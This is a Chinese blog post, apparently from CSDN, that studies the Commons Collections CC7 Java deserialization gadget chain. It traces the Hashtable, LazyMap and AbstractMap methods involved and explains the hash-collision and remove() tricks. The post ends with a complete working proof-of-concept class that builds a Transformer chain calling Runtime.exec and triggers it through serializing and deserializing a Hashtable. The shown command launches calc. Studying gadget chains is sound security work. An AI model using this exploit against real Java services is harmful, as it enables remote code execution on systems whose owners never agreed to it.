• Java安全—CommonsCollections7


    引子

    CC7和CC6其实差不多,只不过这里的触发用到了Hashtable类,这次就跟一下这个作为CC链的完结篇。首先看一下前置知识,cc6使用了HashMap和HashSet,cc7使用的是Hashtable。

    Hashtable类

    我们先看看里面重写的readobject方法:

    private void readObject(java.io.ObjectInputStream s)
         throws IOException, ClassNotFoundException
    {
        // Read in the length, threshold, and loadfactor
        s.defaultReadObject();
    
        // Read the original length of the array and number of elements
        int origlength = s.readInt();
        int elements = s.readInt();
    
        // Compute new size with a bit of room 5% to grow but
        // no larger than the original size.  Make the length
        // odd if it's large enough, this helps distribute the entries.
        // Guard against the length ending up zero, that's not valid.
        int length = (int)(elements * loadFactor) + (elements / 20) + 3;
        if (length > elements && (length & 1) == 0)
            length--;
        if (origlength > 0 && length > origlength)
            length = origlength;
        table = new Entry[length];
        threshold = (int)Math.min(length * loadFactor, MAX_ARRAY_SIZE + 1);
        count = 0;
    
        // Read the number of elements and then all the key/value objects
        for (; elements > 0; elements--) {
            @SuppressWarnings("unchecked")
                K key = (K)s.readObject();
            @SuppressWarnings("unchecked")
                V value = (V)s.readObject();
            // synch could be eliminated for performance
            reconstitutionPut(table, key, value);
        }
    }
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24
    • 25
    • 26
    • 27
    • 28
    • 29
    • 30
    • 31
    • 32
    • 33

    可以看到,在最后调用了reconstitutionPut方法。整个看下来会发现通过reconstitutionPut方法将反序列化流中的元素重新放入table数组中。我们继续跟进。

    private void reconstitutionPut(Entry[] tab, K key, V value)
        throws StreamCorruptedException
    {
        if (value == null) {
            throw new java.io.StreamCorruptedException();
        }
        // Makes sure the key is not already in the hashtable.
        // This should not happen in deserialized version.
        int hash = key.hashCode();
        int index = (hash & 0x7FFFFFFF) % tab.length;
        for (Entry e = tab[index] ; e != null ; e = e.next) {
            if ((e.hash == hash) && e.key.equals(key)) {
                throw new java.io.StreamCorruptedException();
            }
        }
        // Creates the new entry.
        @SuppressWarnings("unchecked")
            Entry e = (Entry)tab[index];
        tab[index] = new Entry<>(hash, key, value, e);
        count++;
    }
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21

    可以看到if判断的第二个条件,第二个条件调用了e.key.equals方法,我们假设赋值key为LazyMap,那么就调用了LazyMap.equals。LazyMap没有equals方法,那么调用的就是其父类的equals方法,也就是AbstractMapDecorator的equals方法。

    	public boolean equals(Object object) {
    		//是否为同一对象(比较引用)
    		if (object == this) {
    			return true;
    		}
    		//调用HashMap的equals方法
    		return map.equals(object);
    	}
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8

    这里的话

    return map.equals(object);
    
    • 1

    map由于我们LazyMap传入的是HashMap所以会跳到HashMap寻找equals方法,而HashMap是没有equals方法的,所以我们跟到它的父类AbstractMap。

    public boolean equals(Object o) {
        if (o == this)
            return true;
    
        if (!(o instanceof Map))
            return false;
        Map m = (Map) o;
        if (m.size() != size())
            return false;
    
        try {
            Iterator> i = entrySet().iterator();
            while (i.hasNext()) {
                Entry e = i.next();
                K key = e.getKey();
                V value = e.getValue();
                if (value == null) {
                    if (!(m.get(key)==null && m.containsKey(key)))
                        return false;
                } else {
                    if (!value.equals(m.get(key)))
                        return false;
                }
            }
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24

    进入一系列的判断,是否为同一对象,对象的运行类型,Map中元素的个数。最后执行get方法。

    m.get(key)
    
    • 1

    m即为我们设定的LazyMap,也就是LazyMap.get(),之后就是CC6链的部分了。判断传入的key是否存在,如果不在则会进入if语句中调用transform方法,这个方法会调用Transformer数组中的核心利用代码构造命令执行环境,从而产生漏洞。

    注意

    hash碰撞问题:

    也就是Hashtable.reconstitutionPut()哈希碰撞问题,根据代码我们跟进hashcode(),LazyMap调用hashCode方法,实际上会调用AbstractMap抽象类的hashCode方法。跟到最底层会发现

    调用了字符串的包装类String的hashCode方法,hashCode方法通过字符的ascii码值计算得到hash值,而yso里的“yy”与“zZ”得到的值是一样的,这就是为什么payload会先传入这两个值。

            lazyMap1.put("yy", 1);
            lazyMap2.put("zZ", 1);
    
    • 1
    • 2

    AbstractMap.equals()个数问题:
    Hashtable在调用put方法添加元素的时候会调用equals方法判断是否为同一对象,而在equals中会调用LazyMap的get方法添加一个元素(yy=yy),如果lazyMap2和lazyMap1中的元素个数不一样则直接返回false,那么也就不会触发漏洞。所以我们可以这样:在添加第二个元素后,lazyMap2需要调用remove方法删除元素

    lazyMap2.remove("yy");
    
    • 1

    POC

    package com.cc;
     
    import org.apache.commons.collections.Transformer;
    import org.apache.commons.collections.functors.ChainedTransformer;
    import org.apache.commons.collections.functors.ConstantTransformer;
    import org.apache.commons.collections.functors.InvokerTransformer;
    import org.apache.commons.collections.map.LazyMap;
     
    import java.io.*;
    import java.lang.reflect.Field;
    import java.util.HashMap;
    import java.util.Hashtable;
    import java.util.Map;
     
    /*
            基于Hashtable的利用链
     */
    public class CC7Test {
     
        public static void main(String[] args) throws Exception {
            //构造核心利用代码
            final Transformer transformerChain = new ChainedTransformer(new Transformer[0]);
            final Transformer[] transformers = new Transformer[]{
                    new ConstantTransformer(Runtime.class),
                    new InvokerTransformer("getMethod",
                            new Class[]{String.class, Class[].class},
                            new Object[]{"getRuntime", new Class[0]}),
                    new InvokerTransformer("invoke",
                            new Class[]{Object.class, Object[].class},
                            new Object[]{null, new Object[0]}),
                    new InvokerTransformer("exec",
                            new Class[]{String.class},
                            new String[]{"calc"}),
                    new ConstantTransformer(1)};
     
            //使用Hashtable来构造利用链调用LazyMap
            Map hashMap1 = new HashMap();
            Map hashMap2 = new HashMap();
            Map lazyMap1 = LazyMap.decorate(hashMap1, transformerChain);
            lazyMap1.put("yy", 1);
            Map lazyMap2 = LazyMap.decorate(hashMap2, transformerChain);
            lazyMap2.put("zZ", 1);
            Hashtable hashtable = new Hashtable();
            hashtable.put(lazyMap1, 1);
            hashtable.put(lazyMap2, 1);
            lazyMap2.remove("yy");
            //输出两个元素的hash值
            System.out.println("lazyMap1 hashcode:" + lazyMap1.hashCode());
            System.out.println("lazyMap2 hashcode:" + lazyMap2.hashCode());
     
     
            //iTransformers = transformers(反射)
            Field iTransformers = ChainedTransformer.class.getDeclaredField("iTransformers");
            iTransformers.setAccessible(true);
            iTransformers.set(transformerChain, transformers);
     
            //序列化  -->  反序列化(hashtable)
            ByteArrayOutputStream barr = new ByteArrayOutputStream();
            ObjectOutputStream oos = new ObjectOutputStream(barr);
            oos.writeObject(hashtable);
            oos.close();
            ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
            ois.readObject();
        }
    }
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24
    • 25
    • 26
    • 27
    • 28
    • 29
    • 30
    • 31
    • 32
    • 33
    • 34
    • 35
    • 36
    • 37
    • 38
    • 39
    • 40
    • 41
    • 42
    • 43
    • 44
    • 45
    • 46
    • 47
    • 48
    • 49
    • 50
    • 51
    • 52
    • 53
    • 54
    • 55
    • 56
    • 57
    • 58
    • 59
    • 60
    • 61
    • 62
    • 63
    • 64
    • 65

    结尾

    CC链目前就跟到了CC7链,先告一段落学点别的东西,之后有空的话再继续深入学习把。希望能帮到大家。

  • 相关阅读:
    JNI调用NoSuchMethodError: no non-static method错误
    视频图像处理算法opencv在esp32及esp32s3上面的移植,也可以移植openmv
    分类预测 | Matlab实现KOA-CNN-LSTM-selfAttention多特征分类预测
    移动设备软件开发测试
    SD NAND 为什么可以完胜T卡(tf卡/sd卡)?
    dab-detr: dynamic anchor boxes are better queries for detr【目标检测-方法详细解读】
    【C】atoi和offsetof的介绍和模拟实现
    超全的Python完全版电子书——从基础到爬虫、分析等高级应用,限时下载
    探花交友_第2章_环境搭建(新版)
    你不知道的JS 之 this& this指向
  • 原文地址:https://blog.csdn.net/qq_52988816/article/details/126396248